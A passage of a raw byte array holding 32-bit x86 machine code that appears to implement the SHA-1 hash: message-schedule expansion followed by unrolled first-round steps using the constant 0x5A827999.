0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x5C, 0x41, 0x40, 0x00, 0xA1, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x60, 0x41, 0x40, 0x00, 0xA1, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x64, 0x41, 0x40, 0x00, 0xA1, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x68, 0x41, 0x40, 0x00, 0xA1, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x6C, 0x41, 0x40, 0x00, 0xA1, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x70, 0x41, 0x40, 0x00, 0xA1, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x74, 0x41, 0x40, 0x00, 0xA1, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x78, 0x41, 0x40, 0x00, 0xA1, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x7C, 0x41, 0x40, 0x00, 0xA1, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x80, 0x41, 0x40, 0x00, 0xA1, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x84, 0x41, 0x40, 0x00, 0xA1, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x88, 0x41, 0x40, 0x00, 0xA1, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x8C, 0x41, 0x40, 0x00, 0xA1, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x90, 0x41, 0x40, 0x00, 0xA1, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x94, 0x41, 0x40, 0x00, 0xA1, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x98, 0x41, 0x40, 0x00, 0xA1, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x9C, 0x41, 0x40, 0x00, 0xA1, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA0, 0x41, 0x40, 0x00, 0xA1, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA4, 0x41, 0x40, 0x00, 0xA1, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA8, 0x41, 0x40, 0x00, 0xA1, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xAC, 0x41, 0x40, 0x00, 0xA1, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB0, 0x41, 0x40, 0x00, 0xA1, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB4, 0x41, 0x40, 0x00, 0xA1, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB8, 0x41, 0x40, 0x00, 0xA1, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xBC, 0x41, 0x40, 0x00, 0xA1, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC0, 0x41, 0x40, 0x00, 0xA1, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC4, 0x41, 0x40, 0x00, 0xA1, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC8, 0x41, 0x40, 0x00, 0xA1, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xCC, 0x41, 0x40, 0x00, 0xA1, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD0, 0x41, 0x40, 0x00, 0xA1, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD4, 0x41, 0x40, 0x00, 0xA1, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD8, 0x41, 0x40, 0x00, 0xA1, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xDC, 0x41, 0x40, 0x00, 0xA1, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE0, 0x41, 0x40, 0x00, 0xA1, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE4, 0x41, 0x40, 0x00, 0xA1, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE8, 0x41, 0x40, 0x00, 0xA1, 0xE0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xEC, 0x41, 0x40, 0x00, 0xA1, 0xE4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF0, 0x41, 0x40, 0x00, 0xA1, 0xE8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF4, 0x41, 0x40, 0x00, 0xA1, 0xEC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF8, 0x41, 0x40, 0x00, 0xA1, 0xF0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xFC, 0x41, 0x40, 0x00, 0xA1, 0xF4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x00, 0x42, 0x40, 0x00, 0xA1, 0xF8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x04, 0x42, 0x40, 0x00, 0xA1, 0xFC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x08, 0x42, 0x40, 0x00, 0xA1, 0x00, 0x42 , 0x40, 0x00, 0x33, 0x05, 0xEC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x0C, 0x42, 0x40, 0x00, 0xA1, 0x04, 0x42, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x10, 0x42, 0x40, 0x00, 0xA1, 0x08, 0x42, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x14, 0x42, 0x40, 0x00, 0xBE, 0x99, 0x79, 0x82, 0x5A, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xD8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xDC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE0, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE4, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xEC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF0, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF4, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x00, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x04, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x08, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x10, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 